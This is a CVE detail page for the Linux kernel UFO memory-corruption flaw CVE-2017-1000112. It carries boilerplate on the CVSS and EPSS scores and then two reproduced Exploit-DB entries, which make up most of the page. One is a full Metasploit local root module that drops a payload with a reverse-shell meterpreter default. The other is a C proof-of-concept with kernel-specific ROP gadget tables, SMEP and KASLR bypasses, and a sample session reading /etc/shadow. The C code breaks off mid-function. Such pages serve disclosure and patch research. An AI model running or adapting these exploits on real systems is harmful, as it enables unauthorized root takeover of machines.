CVE-2017-1000112 : Detail

CVE-2017-1000112

7
/
High
0.13%V3
Local
2017-10-03
23h00 +00:00
2019-12-10
14h06 +00:00
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CVE Descriptions

Linux kernel: Exploitable memory corruption due to UFO to non-UFO path switch. When building a UFO packet with MSG_MORE __ip_append_data() calls ip_ufo_append_data() to append. However in between two send() calls, the append path can be switched from UFO to non-UFO one, which leads to a memory corruption. In case UFO packet lengths exceeds MTU, copy = maxfraglen - skb->len becomes negative on the non-UFO path and the branch to allocate new skb is taken. This triggers fragmentation and computation of fraggap = skb_prev->len - maxfraglen. Fraggap can exceed MTU, causing copy = datalen - transhdrlen - fraggap to become negative. Subsequently skb_copy_and_csum_bits() writes out-of-bounds. A similar issue is present in IPv6 code. The bug was introduced in e89e9cf539a2 ("[IPv4/IPv6]: UFO Scatter-gather approach") on Oct 18 2005.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7 HIGH CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 6.9 AV:L/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45147

Publication date : 2018-08-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Linux Kernel UDP Fragmentation Offset (UFO) Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing UDP Fragmentation Offload (UFO). This exploit targets only systems using Ubuntu (Trusty / Xenial) kernels 4.4.0-21 <= 4.4.0-89 and 4.8.0-34 <= 4.8.0-58, including Linux distros based on Ubuntu, such as Linux Mint. The target system must have unprivileged user namespaces enabled and SMAP disabled. Bypasses for SMEP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on various Ubuntu and Linux Mint systems, including: Ubuntu 14.04.5 4.4.0-31-generic x64 Desktop; Ubuntu 16.04 4.8.0-53-generic; Linux Mint 17.3 4.4.0-89-generic; Linux Mint 18 4.8.0-58-generic }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit 'h00die', # Metasploit module 'Brendan Coles' # Metasploit module ], 'DisclosureDate' => 'Aug 10 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'CVE', '2017-1000112' ], [ 'EDB', '43418' ], [ 'BID', '100262' ], [ 'URL', 'http://seclists.org/oss-sec/2017/q3/277' ], [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=85f1bd9a7b5a79d5baa8bf44af19658f7bf77bfa' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2017-1000112' ], [ 'URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/' ], [ 'URL', 'https://ricklarabee.blogspot.com/2017/12/adapting-poc-for-cve-2017-1000112-to.html' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/commits/cve-2017-1000112' ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd rm_f "#{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-1000112', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.4\.0-(21|22|24|28|31|34|36|38|42|45|47|51|53|57|59|62|63|64|66|67|70|71|72|75|78|79|81|83|87|89|81|89)-generic/ || version =~ /^4\.8\.0-(34|36|39|41|45|46|49|51|52|53|54|56|58)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" vprint_status 'Checking if SMAP is enabled ...' if smap_enabled? vprint_error 'SMAP is enabled' return CheckCode::Safe end vprint_good 'SMAP is not enabled' arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('exploit.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit.out') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit ...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}" output.each_line { |line| vprint_status line.chomp } print_status "Cleaning up #{payload_path} and #{executable_path} ..." rm_f executable_path rm_f payload_path end end
Exploit Database EDB-ID : 43418

Publication date : 2017-08-12 22h00 +00:00
Author : Andrey Konovalov
EDB Verified : Yes

// A proof-of-concept local root exploit for CVE-2017-1000112. // Includes KASLR and SMEP bypasses. No SMAP bypass. // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. // // EDB Note: Also included the work from ~ https://ricklarabee.blogspot.co.uk/2017/12/adapting-poc-for-cve-2017-1000112-to.html // Supports: Ubuntu Xenial (16.04) 4.4.0-81 // // Usage: // user@ubuntu:~$ uname -a // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux // user@ubuntu:~$ whoami // user // user@ubuntu:~$ id // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) // user@ubuntu:~$ gcc pwn.c -o pwn // user@ubuntu:~$ ./pwn // [.] starting // [.] checking distro and kernel versions // [.] kernel version '4.8.0-58-generic' detected // [~] done, versions looks good // [.] checking SMEP and SMAP // [~] done, looks good // [.] setting up namespace sandbox // [~] done, namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [~] done, kernel text: ffffffffae400000 // [.] commit_creds: ffffffffae4a5d20 // [.] prepare_kernel_cred: ffffffffae4a6110 // [.] SMEP bypass enabled, mmapping fake stack // [~] done, fake stack mmapped // [.] executing payload ffffffffae40008d // [~] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // root@ubuntu:/home/user# whoami // root // root@ubuntu:/home/user# id // uid=0(root) gid=0(root) groups=0(root) // root@ubuntu:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // sys:*:17212:0:99999:7::: // ... // // EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1 // // Andrey Konovalov <andreyknvl@gmail.com> #define _GNU_SOURCE #include <assert.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/socket.h> #include <netinet/ip.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/utsname.h> #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_BYPASS 1 // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_versions(). int kernel = -1; struct kernel_info { const char* distro; const char* version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t xchg_eax_esp_ret; uint64_t pop_rdi_ret; uint64_t mov_dword_ptr_rdi_eax_ret; uint64_t mov_rax_cr4_ret; uint64_t neg_rax_ret; uint64_t pop_rcx_ret; uint64_t or_rax_rcx_ret; uint64_t xchg_eax_edi_ret; uint64_t mov_cr4_rdi_ret; uint64_t jmp_rcx; }; struct kernel_info kernels[] = { { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, }; // Used to get root privileges. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) // Used when ENABLE_SMEP_BYPASS is used. // - xchg eax, esp ; ret // - pop rdi ; ret // - mov dword ptr [rdi], eax ; ret // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret // - neg rax ; ret // - pop rcx ; ret // - or rax, rcx ; ret // - xchg eax, edi ; ret // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret // - jmp rcx #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); void get_root(void) { ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); } // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * uint64_t saved_esp; // Unfortunately GCC does not support `__atribute__((naked))` on x86, which // can be used to omit a function's prologue, so I had to use this weird // wrapper hack as a workaround. Note: Clang does support it, which means it // has better support of GCC attributes than GCC itself. Funny. void wrapper() { asm volatile (" \n\ payload: \n\ movq %%rbp, %%rax \n\ movq $0xffffffff00000000, %%rdx \n\ andq %%rdx, %%rax \n\ movq %0, %%rdx \n\ addq %%rdx, %%rax \n\ movq %%rax, %%rsp \n\ call get_root \n\ ret \n\ " : : "m"(saved_esp) : ); } void payload(); #define CHAIN_SAVE_ESP \ *stack++ = POP_RDI_RET; \ *stack++ = (uint64_t)&saved_esp; \ *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; #define SMEP_MASK 0x100000 #define CHAIN_DISABLE_SMEP \ *stack++ = MOV_RAX_CR4_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = POP_RCX_RET; \ *stack++ = SMEP_MASK; \ *stack++ = OR_RAX_RCX_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = XCHG_EAX_EDI_RET; \ *stack++ = MOV_CR4_RDI_RET; #define CHAIN_JMP_PAYLOAD \ *stack++ = POP_RCX_RET; \ *stack++ = (uint64_t)&payload; \ *stack++ = JMP_RCX; void mmap_stack() { uint64_t stack_aligned, stack_addr; int page_size, stack_size, stack_offset; uint64_t* stack; page_size = getpagesize(); stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); stack_addr = stack_aligned - page_size * 4; stack_size = page_size * 8; stack_offset = XCHG_EAX_ESP_RET % page_size; stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (stack == MAP_FAILED || stack != (void*)stack_addr) { perror("[-] mmap()"); exit(EXIT_FAILURE); } stack = (uint64_t*)((char*)stack_aligned + stack_offset); CHAIN_SAVE_ESP; CHAIN_DISABLE_SMEP; CHAIN_JMP_PAYLOAD; } // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * #define SYSLOG_ACTION_READ_ALL 3 #define SYSLOG_ACTION_SIZE_BUFFER 10 void mmap_syslog(char** buffer, int* size) { *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); if (*size == -1) { perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); exit(EXIT_FAILURE); } *size = (*size / getpagesize() + 1) * getpagesize(); *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); if (*size == -1) { perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); exit(EXIT_FAILURE); } } unsigned long get_kernel_addr_trusty(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); exit(EXIT_FAILURE); } int start = 0; int end = 0; for (end = start; substr[end] != '-'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); exit(EXIT_FAILURE); } char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xffffffffff000000ul; return r; } unsigned long get_kernel_addr_xenial(char* buffer, int size) { const char* needle1 = "Freeing unused"; char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); exit(EXIT_FAILURE); } int start = 0; int end = 0; for (start = 0; substr[start] != '-'; start++); for (end = start; substr[end] != '\n'; end++); const char* needle2 = "ffffff"; substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); if (substr == NULL) { fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); exit(EXIT_FAILURE); } char* endptr = &substr[16]; unsigned long r = strtoul(&substr[0], &endptr, 16); r &= 0xfffffffffff00000ul; r -= 0x1000000ul; return r; } unsigned long get_kernel_addr() { char* syslog; int size; mmap_syslog(&syslog, &size); if (strcmp("trusty", kernels[kernel].distro) == 0 && strncmp("4.4.0", kernels[kernel].version, 5) == 0) return get_kernel_addr_trusty(syslog, size); if (strcmp("xenial", kernels[kernel].distro) == 0 && strncmp("4.4.0", kernels[kernel].version, 5) == 0 || strncmp("4.8.0", kernels[kernel].version, 5) == 0) return get_kernel_addr_xenial(syslog, size); printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); exit(EXIT_FAILURE); } // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; struct skb_shared_info { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info ui; void init_skb_buffer(char* 